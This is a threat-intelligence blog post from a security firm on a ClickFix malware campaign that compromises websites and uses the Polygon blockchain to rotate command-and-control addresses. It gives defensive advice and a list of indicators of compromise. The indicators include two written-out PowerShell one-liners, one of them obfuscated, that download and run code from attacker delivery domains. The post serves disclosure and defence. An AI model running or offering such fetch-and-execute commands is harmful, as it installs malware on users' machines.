EtherHiding Exposed: What Security Leaders Need to Know

BLOG

TL;DR – A malware campaign has compromised at least 31 organizations’  websites to deploy a persistent backdoor. 

  • It identifies its command and control (C2) infrastructure using cryptocurrency blockchain technology, rendering many traditional defensive measures ineffective. 
  • This incorporates a system that no company, government or security team can comprehensively take down or block by identification alone. 
  • This renders behavioral detection based on repeated signatures more important than ever

What’s Happening

Attackers have compromised the websites of at least 31 legitimate businesses, including e-commerce, professional services and retail logistics organizations. Visitors arriving to the compromised sites via search engine encounter a fake “Verify you’re human”. This CAPTCHA prompt instructs them to paste a command into their own computer, a tactic known as “ClickFix”. That single action installs a persistent backdoor with no visible indication of compromise. The backdoor survives reboots, beacons to C2 every minute and retrieves updated instructions from the Polygon blockchain.

What Makes This Different From Other ClickFix Campaigns

Traditionally, ClickFix malware can be neutralized by blocking the attacker’s C2 server, cutting off communications with infected machines. Many ClickFix campaigns rely on hardcoded C2 addresses, making replacement costly and time-intensive once blocked. 

This campaign sidesteps that defense by using the Polygon cryptocurrency blockchain as a dynamically updatable address book. Polygon is a permanent, distributed ledger that no single entity can take offline. Because it allows for ad hoc adjustment of C2 details at scale, blocking a singular domain or IP address alone does not permanently sever attacker access. For fractions of a cent per transaction, the attacker can redirect every infected machine to a new C2 server automatically. This tactic has been dubbed “EtherHiding,” and it allows attackers to redirect infected machines to new infrastructure at scale. 

The tactic is spreading. It was first observed in campaigns from criminal groups in 2023. North Korean state actors adopted it by late 2025 and Iran-linked groups by early 2026. The campaign documented here is part of broader proliferation into the general cybercriminal ecosystem.

What Your Organization Should Do

Immediate priorities:

  • Focus on tactics, not atomic IOCs. While stationary indicators such as IP addresses are no longer effective for blocking purposes in response to this tactic, aggregate signatures can still be useful for behavioral detection. Examples include:
    • Domains clearly generated by Domain Generating Algorithms (DGAs) which are commonly flagged by threat intelligence providers
    • Repeated use of specific ASNs or IP ranges
    • Use of newly registered domains
    • Other reputation-based scoring mechanisms.
  • Audit your public-facing websites continuously. If your organization runs a site on WordPress, Magento or similar platforms, hidden malicious scripts emplaced by threat actors are a live threat. Several sites in this investigation were cleaned up, then silently re-compromised weeks later. One-time checks are not sufficient.
  • Restrict unapproved browser extensions via organization-level policy. Banking trojans associated with this tactic have been delivered through social engineering rather than software exploitation, resulting in malicious browser extension installation. Policies restricting unapproved browser extensions would have blocked it entirely.
  • Add ClickFix to security awareness training, not just generic phishing. The initial access technique involves a fake CAPTCHA screen instructing the user to press Win+R and paste a command, a common tactic known as “ClickFix”. This tactic is now both specific enough and prolific enough to warrant inclusion in awareness training, both recurring and ad hoc. 

The Bottom Line 

In instances where the blockchain has been used to host C2 details, the resulting infrastructure address alone cannot be completely blocked or seized through conventional means. However, the blockchain’s immutability also works against the attacker: every operational decision they make is permanently and publicly visible. This gives investigators the opportunity to map campaign infrastructure, timelines and tactics using free, public data. These findings, in turn, can be used to generate signatures and behavioral detections which can be more effective against this tactic. 

The playbook for this class of threat now exists. Unlike the attacker’s infrastructure, that knowledge can’t be rotated away.

Action Required: If your organization detects any of the indicators associated with this campaign, engage your incident response team immediately and treat any banking or exchange credentials entered on affected machines as potentially compromised.

Indicators of Compromise

Domains

C2 Infrastructure

3262d48df5d75e34[.]shop
ddcd62e16a428c8e[.]shop
hivinest[.]online

Delivery Domains

45a3158594d6ba76[.]fun
82d35f9b891c987a[.]fun
9082b2a18f2e00fe[.]fun
67b3ac3e45812153[.]fun
Folfdighdd[.]xyz
Cleearpeyak[.]online

Supporting Infrastructure

Onemm[.]net (build/staging; origin IP: 37.27.52[.]152)

  → origin server confirmed running 7 CISA KEV-listed CVEs (CVE-2023-4911, CVE-2023-0386, CVE-2022-2586, CVE-2023-44487, plus 2 recent 2026 entries); also carries CVE-2024-6387 (regreSSHion) in the broader vulnerability list

Additionalver[.]com (traffic distribution)

promo-chatgpt[.]com (traffic distribution)

pleasewaitcenter[.]top (traffic distribution) 

skaybolt[.]online (traffic distribution

lanhd6549tdhse[.]top (traffic distribution)

Browser-Extension Web-Inject Panels

Purplepencel[.]online (banking/crypto web-inject config panel)

Detsigen[.]site (banking/crypto web-inject config panel)

Blockchain (Polygon)

Operator Wallets

0xd802C9427ce416B9DAb2db5aDD76EfAA6d9d826a

0x6a6e177dcf992ac16f7367c14b26a3cf4775dfde

Primary Smart Contract

0xde2d34339c279a7a79bc4fc1c4f37d3c055211b7

Additional Contracts

0xa982e044217b6bbaa7b3123b670c1c0ca1138a37 (sibling contract, Wallet 1)

0x308e9ecc849533a042f13fd77e5c82ec3c62e9f2 (first of 13 contracts deployed by Wallet 2)

Event Topic (for monitoring)

0x868f5f914e26b486c50b15494d56c6b2f2f17f6514343909bd36a034c19452cc

Polygon RPC Endpoints

polygon-bor-rpc.publicnode[.]com

polygon.publicnode[.]com

polygon.gateway.tenderly[.]co

gateway.tenderly[.]co/public/polygon

1rpc[.]io/matic

polygon.api.onfinality[.]io/public

polygon.rpc.subquery[.]network/public

polygon.drpc[.]org

polygon.lava[.]build

Host-Based

Registry value: PersonalizedUpdates (under HKCU:\…\Run)

Scheduled task: “Enter” (1-minute cadence)

XOR key: !sdf$&G321

Victim fingerprint: reads MachineGuid from HKLM:\SOFTWARE\Microsoft\Cryptography

Malicious browser extension ID: bpknfkhjjbjgagobdaekmnlgdhbbpcea (observed under multiple cosmetic display names; the ID itself is the durable indicator)

Native messaging host name: com.top[.]index

ClickFix invocation, variant 1: $a=”1i1e1x2i1r1m1″ -replace 1 -split 2;&$a[0](&$a[1]<delivery-domain>/<token>); used with veruisuealx.xyz

ClickFix invocation, variant 2: $a=irm <delivery-domain>/<token>;[System.Management.Automation.PowerShell]::Create().AddScript($a).Invoke() used with truieparth[.]online

File Hashes (SHA-256)

Hash
Description
03A1D2ECA771A276AC9C29A4BF219D31BEB20848998CACDA8B06375BD2795B10
C2 agent
5ac6a2b0d20c5508027e6fde6503a5e0105be59f2a57e6659caa14e4ac0d5939
C2 agent variant
67427f232762fe32afab1d0d14b1d6e7f7920f5b151e133fb68c9dfc333ec69a
Persistence script
10ab0f8ee0829fb24bf2c915f5bb0f35a2d84ed1d69049d42ca32cfa36250c11
C2 agent (sample 4)
cf176cf0ff50c74f08f127ef3b09be63a6f9e3ad69fa48233d4c805898368b2a
C2 agent (sample 5)
06990ee09a29d2cdde32cb639d50e6c1e078da96a7bdabd03a68a0bb209d07b1
Persistence script (sample 4)
00810c2e0ad5031b9fe5d2cfb4a6fb45a1c424d6b92be7ba3b1aaa7c55b10f8e
Persistence script (sample 5)

This analysis is based on original blockchain forensics, incident response corroboration and direct malware source-code recovery as of late August 2026.

Jean-Pierre Mouton is a Consultant and GuidePoint University Fellow on GuidePoint Security’s Research and Intelligence Team (GRIT), where he engages in incident response investigations and threat intelligence research on behalf of the firm and its clients. His career background includes strategic and tactical intelligence analysis, technical subject matter expertise and intelligence program management in the Department of Defense and the United States Navy.